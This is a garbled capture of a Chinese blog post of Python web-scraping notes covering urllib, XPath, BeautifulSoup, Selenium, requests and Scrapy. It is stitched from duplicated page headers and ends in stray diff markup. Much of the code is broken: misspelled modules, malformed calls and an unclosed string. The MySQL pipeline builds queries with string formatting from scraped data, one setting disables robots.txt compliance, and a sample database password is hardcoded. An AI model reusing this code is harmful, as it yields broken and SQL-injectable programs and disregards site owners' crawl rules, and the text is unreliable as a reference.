x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>python爬虫学习笔记</h1><div class=post-meta><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/python%e7%88%ac%e8%99%ab%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy</p><p>python库内置的HTTP请求库
+import urllib.parse import urllib.request url = &#34;https://xiaochenabc123.test.com/&#34; headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"python爬虫学习笔记","item":"https://chenjunlinabc.github.io/posts/125/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"python爬虫学习笔记","name":"python爬虫学习笔记","description":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(\u0026lsquo;utf-8\u0026rsquo;))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({\u0026lsquo;hallo\u0026rsquo;:\u0026lsquo;python\u0026rsquo;}),encoding=\u0026lsquo;utf-8\u0026rsquo;) response = urllib.request.urlopen(\u0026lsquo;http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse import urllib.request url = \u0026quot;https://xiaochenabc123.test.com/\u0026quot; headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.","keywords":["Python"],"articleBody":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse import urllib.request url = \"https://xiaochenabc123.test.com/\" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'} data = urllib.request.Request(url=url, headers=headers) hi = hallo = urllib.request.urlopen(data) #hallo = urllib.request.urlopen(data).read().decode('utf-8') #print(hallo) # 6个方法 #abc = hi.read(6) #按字节返回 #xyz = hi.readline() # 读取一行 #a = hi.readlines() # 一行一行的读取 #b = hi.getcode() # 状态码 #c = hi.geturl() # 获取url地址 #d = hi.getheaders() # 获取状态信息 # 下载到本地 #urllib.request.urlretrieve(url,data.html) #url_img = \"https://xiaochenabc123.test.com/1.jpg\" #urllib.request.urlretrieve(url_img,abc.jpg) #url_mp4 = \"https://xiaochenabc123.test.com/1.mp4\" #urllib.request.urlretrieve(url_img,xyz.mp4) # auote() 转Unicode编码 #name = urllib.parse.quote(\"哈哈哈\") #urlencode(),get拼接 gg = { \"name\": \"小陈\", \"data\": \"hallo word\" } haha = urllib.parse.urlencode(gg) #print(haha) # post请求 ssr = { data: \"abc\" } abcxyz = urllib.parse.urlencode(ssr).encode('utf‐8') nogo = urllib.request.Request(url=url, headers=headers, data=abcxyz) yesgo = urllib.request.urlopen(nogo) #print(yesgo.read().decode('utf‐8')) #ajax请求（get和post） #cookie（扩展headers） headers = { 'Cookie': 'xxxx' } #HTTPHandler() #request = urllib.request.Request(url=url, headers=headers) #handler = urllib.request.HTTPHandler() #opener = urllib.request.build_opener(handler) #response = opener.open(request) #print(response.read().decode('utf‐8')) #代理服务器 urls = \"http://baidu.com\" request = urllib.request.Request(url=urls, headers=headers) proxies = {'https': '14.115.106.223:808'} handler = urllib.request.ProxyHandler(proxies=proxies) opener = urllib.request.build_opener(handler) response = opener.open(request) content = response.read().decode('utf‐8') #print(content) from lxml import etree import urllib.request # 解析本地文件 #html_data = etree.parse('./hallo.html', etree.HTMLParser()) # 解析服务器响应文件 # html = etree.HTML(response.read().decode('utf‐8') #result = etree.tostring(html_data) # print(result.decode('utf-8')) # /为查找子节点，//为查找全部子孙节点（不考虑层级） # list = html_data.xpath(\"//ul/li\") # 查找全部带id # list = html_data.xpath(\"//ul/li[@id]/text()\") # 查找指定id # list = html_data.xpath('//ul/li[@id=\"a\"]/text()') # 查找指定class的 # list = html_data.xpath('//ul/li[@class=\"a\"]/text()') # 模糊查询（包含） # list = html_data.xpath('//ul/li[contains(@id, \"ab\")]/text()') # 查找以什么开头的 # list = html_data.xpath('//li[starts-with(@id, \"a\")]/text()') # 查找以什么结尾的 # list = html_data.xpath('//li[ends-with(@id, \"a\")]/text()') # 查找内容 # list = html_data.xpath('//a[text()=\"小陈的辣鸡屋\"]/text()') # 多属性匹配(和) # list = html_data.xpath('//li[contains(@id, \"a\") and @href=\"https://xiaochenabc123.test.com\"]/a/text()') # 或者 # list = html_data.xpath('//li[contains(@id, \"a\") | @href=\"https://xiaochenabc123.test.com\"]/a/text()') # 查找指定顺序的 # list = html_data.xpath('//a[1]/text()') #获取第一个，可以指定第几个 # list = html_data.xpath('//a[last()]/text()') #获取最后一个 # list = html_data.xpath('//a[position()\u003c6]/text()') # 获取前5个 # list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个 # print(list) #实例：获取logo和logo的url #url = \"https://xiaochenabc123.test.com\" #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} #request = urllib.request.Request(url=url, headers=headers) #response = urllib.request.urlopen(request) #content = response.read().decode(\"utf-8\") #hallo = etree.HTML(content) #data = hallo.xpath('//h3[@id=\"logo\"]/a/@href')[0] #data1 = hallo.xpath('//h3[@id=\"logo\"]/a/text()')[0] #print(data,data1) #获取文章的标题 #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} # #if __name__ == \"__main__\": # page1 = int(input(\"开始\")) # page2 = int(input(\"结束\")) # # for page in range(page1, page2 + 1): # urldata = \"https://xiaochenabc123.test.com/archives/\" + str(page) + \".html\" # #print(urldata) # request = urllib.request.Request(url=urldata, headers=headers) # response = urllib.request.urlopen(request) # if (response.getcode() == 200): # content = response.read().decode(\"utf-8\") # hallo = etree.HTML(content) # data = hallo.xpath('//h3[@class=\"post-title\"]/a/text()')[0] # print(data) # elif(response.getcode() == 404): # continue #爬取网站的全部a链接，并且返回到数组中 #if __name__ == \"__main__\": # url = input(\"请输入要爬取的url\") # abc = int(input(\"是否启动只搜索当前域名的url,请回复0或者1\")) # headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' # } # request = urllib.request.Request(url=url, headers=headers) # response = urllib.request.urlopen(request) # content = response.read().decode(\"utf-8\") # hallo = etree.HTML(content) # data = hallo.xpath('//a/@href') # a = 1 # b = 1 # c = \"https\" # d = \"http\" # if (abc == 1): # while a \u003c len(data): # if (c or d in data[a]): # if (url in data[a]): # urldata = data[a] # print(urldata) # a += 1 # else: # while b \u003c len(data): # if (c or d in data[a]): # urldata = data[b] # print(urldata) # b += 1 练习（json解析bing官方提供的api，获取精密壁纸）\nimport jsonpath import json import urllib.request # pip install jsonpath headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } abc = 0 while abc == 0 : a = int(input(\"请输入要下载的张数（bing最多只能下载8张）\")) aa = str(a) if(a\u003c=8): urlapi = \"https://cn.bing.com/HPImageArchive.aspx?format=js\u0026idx=0\u0026n=\"+aa+\"\u0026mkt=zh-CN\" request = urllib.request.Request(url=urlapi, headers=headers) resp = urllib.request.urlopen(request) content = resp.read().decode(\"utf-8\") with open(\"data.json\", \"w\", encoding=\"utf-8\") as fp: fp.write(content) obj = json.load(open(\"data.json\", \"r\", encoding=\"utf-8\")) hallo = jsonpath.jsonpath(obj, \"$..url\") img = jsonpath.jsonpath(obj, \"$..enddate\") c = 0 b = 0 while c \u003c len(hallo): hi = \"https://cn.bing.com\" data = hi + hallo[c] print(data) c+=1 while b \u003c len(img): haha = img[b] + \".jpg\" print(haha) urllib.request.urlretrieve(data, filename=haha) b+=1 break print(\"下载完成！！！\") abc = 1 else: print(\"您输入的张数超过8张，bing官方api只能下载8张，请重新输入\") Beautiful Soup解析库，和lxml一样，可以从html或者xml中解析数据和提取数据，Beautiful Soup会自动将输入数据转换为unicode编码，输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码\n目前使用的是Beautiful Soup 4，简称bs4，Beautiful Soup3已停止维护\n安装\npip install beautifulsoup4\n注意：Beautiful Soup支持第三方解析器，如果不使用第三方解析器的话，将使用Python标准库中的html解析器\nBeautifulSoup(html, html.parser) # 内置标准库 BeautifulSoup(html, lxml) # lxml库，需要下载lxml库 BeautifulSoup(html, xml) # lxml的xml解析，需要下载lxml库 BeautifulSoup(html, html5lib) # html5lib，需要下载html5lib库 pip install html5lib 第一个例子\nfrom bs4 import BeautifulSoup # data = BeautifulSoup(open(\"haha.html\"),encoding=\"utf-8\", \"lxml\") data = BeautifulSoup(open(\"haha.html\")) print(data.prettify()) bs会将html文档解析为树状结构，该树状结构的节点是Python对象，而这些对象可以分为4种：\nTag：标签，通过tag获取指定标签内容，print(data.div)，可以通过data.标签名的方式获取标签的内容（注意：输出第一个符合条件的标签）\n检查对象的类型：print (type(data.div))，可以看到输出结果为，说明该对象为tag\ntag有两个属性，分别为name和attrs\nprint (data.name) print (data.div.name) 可以看到输出结果为[document]和div，data的name为[document]，而标签输出为标签本身的名字\nprint (data.div.attrs) 可以看到输出结果是{‘class’: [‘xxx’]}的键值对，可以通过data.div[“xxx”]方式获取属性值，也可以修改属性值（data.div[“class”]= “nav”），删除属性（del data.div[“class”]）\nNavigableString：标签内部的文本（.string），print (data.p.string)，判断类型，print (type(data.p.string))，输出结果为\nBeautifulSoup：文档的全部内容，也就是data本身，print (type(data))，\nComment：特殊一点的NavigableString类型，可以输出注释的内容（不带注释符号），通过类型判断print (type(data.span.string))，可以看到输出\n查找\nprint(data.div.content) # 查找div的全部子节点，并且以列表的方式输出，可以使用索引来指定获取第几个节点 print(data.div.children) #一样是查找div的全部子节点，不过是list生成器，需要手动遍历获取 print(data.select(\"span\")) #查找标签，也可以通过类名或者id名查找，支持组合查找（和css方式一样） print(data.find(\"div\")) print(data.find(\"div\",class_=\"nav\")) selenium是一个web应用自动化测试工具，selenium可以直接运行在目前主流浏览器驱动（本身没有浏览器功能，需要搭配第三方浏览器，支持无界面浏览器），模拟用户操作\n因为其自动化和可以直接运行在浏览器的原因，可以用于爬虫\nchromedriver：https://npm.taobao.org/mirrors/chromedriver（淘宝镜像地址，下载的驱动版本要和浏览器内核的版本一样） edge: https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ （webdriver.Edge()） 火狐：https://github.com/mozilla/geckodriver/releases （webdriver.Firefox()）\n安装\npip install selenium\n导入驱动\nfrom selenium import webdriver path = \"浏览器驱动路径\" driver = webdriver.Chrome(path) url = \"https://xiaochenabc123.test.com\" driver.get(url) data = driver.page_source print(data) 元素定位（模拟鼠标和键盘操作元素的点击或者输入等等，在操作元素之前需要获取到元素的位置）\n注意：element是返回单个对象，elements可以返回多个对象\n根据id查找元素\ndata = driver.find_element_by_id(“app”)\n根据name属性值查找 data = driver.find_element_by_name(\"\")\n根据xpath查找 data = driver.find_elements_by_xpath()\n根据标签名查找 data = driver.find_elements_by_tag_name()\n使用bs4的方式查找 data = driver.find_element_by_css_selector(\"#app\")\n根据连接的文本查找 data = driver.find_element_by_link_text()\n根据连接的文本查找（模糊） data = driver.find_element_by_partial_link_text()\n根据class名查找 data = driver.find_element_by_class_name()\n交互和数据获取\n数据获取\n获取属性值\nprint(data.get_attribute(“href”))\n获取标签名\nprint(data.tag_name)\n获取元素文本\nprint(data.text)\n交互\n指定浏览器大小\ndriver.set_window_size(900, 1000)\n浏览器的前进和后退，以及刷新\ndriver.forward() driver.back() driver.refresh()\ninput输入框操作\ndata.click() #单击元素 data.send_keys(“hallo”) #输入 data.clear() #清除内容\n执行指定js脚本\ndriver.execute_script(js)\n例如：\nimport time from selenium import webdriver path = \"msedgedriver.exe\" driver = webdriver.Edge(path) url = \"https://www.baidu.com/\" driver.get(url) data = driver.page_source datas = driver.find_element_by_id(\"kw\") datas.send_keys(\"小陈的辣鸡屋\") a = driver.find_element_by_id(\"su\") a.click() time.sleep(2) #bottom = 'document.documentElement.scrollTop=10000' #driver.execute_script(bottom) b = driver.find_element_by_link_text(\"小陈的辣鸡屋\") b.click() Phantomjs是一个无界面浏览器，因为其不需要进行gui渲染，效率比较高，但是已经停止更新，这里只了解一下，推荐使用Headless Chrome\nhttps://phantomjs.org/\nphantomjs操作方式一样\ndriver = webdriver.PhantomJS(path) 因为没有界面，访问网页是没有界面的，需要通过快照获取，driver.save_screenshot(“xiaochenabc123.test.com.jpg”)\nHeadless Chrome是基于Chrome 59版本以及以上版本的无界面模式（mac和Linux最低要求59版本，而win需要60版本）\nfrom selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--headless') # 无界面模式启动 chrome_options.add_argument('--disable-gpu') path = \"Chrome.exe\" # Chrome浏览器的路径 chrome_options.binary_location = path driver = webdriver.Chrome(chrome_options=chrome_options) # 实例化 url = \"https://xiaochenabc123.test.com\" driver.get(\"url\") driver.save_screenshot(\"xiaochenabc123.test.com.jpg\") 具体操作方法和selenium一样\nrequests库是基于Python开发并且封装的http库，HTTP for Humans\n安装\npip install requests\n使用方式很简单\nimport requests url = \"https://xiaochenabc123.test.com\" response = requests.get(url) response.status_code # 200 返回状态码 print(type(response)) # 返回类型 response.encoding = \"utf-8\" # 响应的编码 print(response.text) # 返回源代码 print(response.url) # 返回请求的url print(response.content) # 返回二进制数据 print(response.headers) # 返回响应头 requests在请求json的时候还可以直接获取\nget请求\nget请求的参数通过params属性传递，不需要考虑url的编码问题，不需要考虑请求对象，例如：\ndata = { 'wd': 'python' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } response = requests.get('https://baidu.com/s?', params=data, headers=headers) print (response.text) post请求\npost请求不需要考虑编解码，不需要考虑请求对象\ndata = { 'url': 'xiaochenabc123.test.com', 'name': 'root' } url = \"https://httpbin.org/post\" response = requests.post(url=url, data=data, headers=headers) import json obj = json.loads(response.text,encoding=\"utf-8\") print (obj) 注意：默认使用application/x-www-form-urlencoded进行编码，如果想传递json，需要使用requests.post()的json参数，上传文件用files参数\n另外还支持put()和delete()\n传入cookie需要cookies参数，支持设置请求超时（timeout参数，单位为秒）\n代理用proxies参数，指向一个字典（代理池）\nscrapy是基于Python开发的爬取数据，提取数据的框架，可应用在数据挖掘，数据存储\n安装\npip install scrapy\nscrapy架构组件分为Scrapy Engine（引擎），Scheduler（调度器），Downloader（下载器），Spider（爬虫），Item Pipeline（数据管道），Downloader middlewares（下载中间件），Spider middlewares（Spider中间件）\nScrapy Engine：负责控制数据流（Data Flow）在组件中的流动，例如通信，数据传递，在某些情况下还触发相对应的事件\nScheduler：负责接收引擎发送的request请求并且将其存储在调度器中，当引擎需要时提供给引擎，调度器会自动去重url（也可以不去重）\nDownloader：负责下载引擎发送的全部request请求的响应数据，将获取到数据提供给Spider\nSpider：负责处理全部响应数据，并且进行分析提取数据，获取需要的数据，并且将需要进行额外跟进的url传递给引擎，以便重新进入调度器，一般情况一个Spider只负责一个或者多个特定的url\nItem Pipeline：负责处理Spider提取出来的数据，经过分析，过滤，存储等步骤，最后存储在本地或者数据库中\nDownloader middlewares：其是引擎和Downloader之间的钩子，自定义扩展下载器的功能，例如更换ua，ip等等\nSpider middlewares：Spider和引擎之间的钩子，用来处理Spider的输入响应和输出数据，自定义扩展Spider的功能\n具体数据流线路：引擎请求一个url，并且获取到处理这个url的Spider，并且向该Spider请求要第一个爬取的url，引擎获取到要爬取的url，将其传递给调度器，引擎再向调度器请求要下一个爬取的URL，调度器返回url给引擎，引擎通过下载中间件传递给下载器，由下载器下载数据，当数据下载完毕（不管是否成功），下载器将响应数据通过下载中间件返回给引擎，引擎得到数据并且通过Spider中间件传递给Spider处理数据，Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎，引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理，并且将需要跟进的url传递给调度器，一直重复循环直到调度器中没有request\n新建项目：\nscrapy startproject scrapyDemo\n这个项目中包含了一些文件，分别是scrapy.cfg（配置文件），scrapyDemo/（项目的Python模块，将在这里编写程序），items.py（item文件，目标文件），pipelines.py（管道文件，用来处理数据，默认为300优先级，值越小优先级越高），settings.py（项目的设置文件，例如robots协议是否遵守，定义ua等等），spiders/（spider爬虫程序存放的目录）\nspider爬虫程序（/spiders目录下）\n创建一个爬虫必须继承scrapy.Spider类，并且定义三个参数（必须唯一，用来区别其他爬虫），start_urls（爬虫程序执行时要爬取的url），parse()在被调用时，下载完成后得到的响应将作为唯一参数传递给该方法，这个方法负责解析返回回来的数据，以及提取数据和后续要进行下一步处理的响应数据\n快速创建一个基础scrapy爬虫程序\nscrapy genspider cjlio xiaochenabc123.test.com\nimport scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL，不在此范围内的域名会被过滤掉 start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text print(content) response属性：.text（返回响应的字符串），.body（返回二进制数据），.xpath()（使用xpath方法来解析，返回的数据为列表），.extract()获取seletor对象的data属性值，.extract_first()获取seletor列表的第一个的数据\n还有.url（url地址），.status（状态码），.encoding（响应正文的编码），.request（生成request对象），.css()（用css选择器方式解析数据），.urljoin()（生成绝对url）\n执行爬虫程序（cjlio为爬虫的name）\nscrapy crawl cjlio\n将获取的数据存储为json文件\nscrapy crawl cjlio -o cjlio.json\n注意：因为scrapy默认使用ascii存储json，需要改为utf-8\n在settings.py中添加FEED_EXPORT_ENCODING = ‘utf-8’解决\n关闭robots协议（不遵守robots协议，注释掉或者改为False，默认遵守robots协议）\nROBOTSTXT_OBEY = False scrapy shell是一个交互终端，在没有启动spider的情况下尝试以及测试程序的xpath和css表达式\nscrapy shell可以借助ipython终端\npip install ipython\n注意：如果安装ipython，scrapy将使用ipython代替Python标准终端，ipython提供了自动补全，高亮等等功能\n调试例子（不需要进入Python环境，可以直接在终端中调试）\nscrapy shell xiaochenabc123.test.com\nresponse.text\nresponse.xpath()\nitems.py定义数据结构\nimport scrapy class ScrapydemoItem(scrapy.Item): name = scrapy.Field() img = scrapy.Field() cjlio.py（爬虫程序）\nimport scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text name = content.xpath(\"xpath匹配\").extract_first() img = content.xpath(\"xpath匹配\").extract_first() print(name, img) 管道封装\ncjlio.py（爬虫程序）\nfrom scrapyDemo.items import ScrapydemoItem ... data = scrapyDemoItems(name=name,img=img) yield data # 每获取一次data数据，就是返回一次数据给管道 # yield的作用类似于生成器（generator） 注意：如果想使用管道，需要在settings.py中开启\n找到\nITEM_PIPELINES = { 'scrapyDemo.pipelines.ScrapydemoPipeline': 300, } 将注释去掉，300指优先级（优先级1到1000），值越小优先级越高\npipelines.py（管道文件）中的item就是爬虫程序返回的data数据\n启动爬虫之前（open_spider(self, spider)）\n启动爬虫之后（close_spider(self, spider)）\n开启多管道\n在 ITEM_PIPELINES 字段中添加新管道（settings.py）\n然后在pipelines.py定义新管道的类\n查询当前项目中的爬虫任务：scrapy list\n自定义UA\nsettings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以\n项目中配置headers\nspiders爬虫程序\nheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } url = \"https://xiaochenabc123.test.com\" yield scrapy.Request( url=url, headers=headers ) 数据入库\n安装pymysql\npip install pymysql\nsettings.py\n（pymysql） DB_HOST = “127.0.0.1” DB_RORT = 3306 DB_USER = “root” DB_PASSWORD = “123abc” DB_NAME = “dataMax” DB_CHARSET = “utf8”\n开一条新管道，专门处理数据入数据库\npipeline.py\nfrom scrapy.utils.project import get_project_settings import pymysql #读取settings文件 class MysqlMax: def open_spider(self, spider): settings = get_project_settings() self.host = settings['DB_HOST'] self.port = settings['DB_PORT'] self.user = settings['DB_USER'] self.password = settings['DB_PASSWORD'] self.name = settings['DB_NAME'] self.charset = settings['DB_CHARSET'] self.connect() def connect(self): self.conn = pymysql.connect( host = self.host, port = self.port, user = self.user, password = self.password, name = self.name, charset = self.charset ) self.cursor = self.conn.cursor() def process_item(self,item,spider): sql = 'insert into book(name,src) values(\"{}\",\"{}\").format(item['name'],item['img']) self.cursor.execute(sql) self.conn.commit() # 执行sql语句，并且提交 return item def close_spider(self, spider): self.cursor.close() self.conn.close() 链接跟进和链接提取器\n爬虫程序文件\nrules = ( Rule(LinkExtractor(allow = \"\"), callback = \"parse_item\", follow = True), ) allow为正则表达式，当链接满足正则表达式提取，为空则全部匹配（链接提取器）\ncallback为指定解析数据的规则\nfollow一般情况默认为False，指定是否从response提取的链接进行跟进，当callback为none时，follow为True\n还有dent =()，用来过滤符合正则表达式的链接，当符合时不提取\nallow_domains：允许的域名，deny_domains：不允许的域名\nrestrict_xpaths：提取符合xpath的链接，restrict_css：提取符合选择器的链接\n注意：follow当为True会一直提取符合规则的链接，直到全部链接提取完毕\n日志以及日志等级\n日志等级\nCRITICAL：严重错误 ERROR：一般错误 WARNING：警告 INFO：一般信息 DEBUG：调试信息（默认，只有出现DEBUG以及以上等级的日志才会打印输出）\nsettings.py文件可以设置哪些日志显示，哪些不显示\nLOG_FILE：将信息存储到文件中，不显示在输出界面，后缀为.log\nLOG_LEVEL：指定日志显示的等级\n例如： LOG_LEVEL = “WARNING” LOG_FILE= “demo.log”\n","wordCount":"1414","inLanguage":"en","datePublished":"2021-12-31T01:05:00Z","dateModified":"2021-12-31T01:05:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/125/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>python爬虫学习笔记</h1><div class=post-meta><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/python%e7%88%ac%e8%99%ab%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy</p><p>python库内置的HTTP请求库
 urllib.request 请求模块
 urllib.error 异常处理模块
 urllib.parse url解析模块
@@ -50,262 +50,262 @@
 response = urllib.request.urlopen(&lsquo;<a href="http://httpbin.org/post'.data">http://httpbin.org/post'.data</a> = data)
 print(response.read())</p><p>timeout参数用于设置超时时间，单位为秒
 import urllib.request
-response = urllib.request.urlopen(&lsquo;<a href="https://xiaochenabc123.test.com/',timeout=1">https://xiaochenabc123.test.com/',timeout=1</a>)</p><p>这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except</p><pre><code>import urllib.parse
-import urllib.request
-url = &quot;https://xiaochenabc123.test.com/&quot;
-headers = {
-    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'}
-data = urllib.request.Request(url=url, headers=headers)
-hi = hallo = urllib.request.urlopen(data)
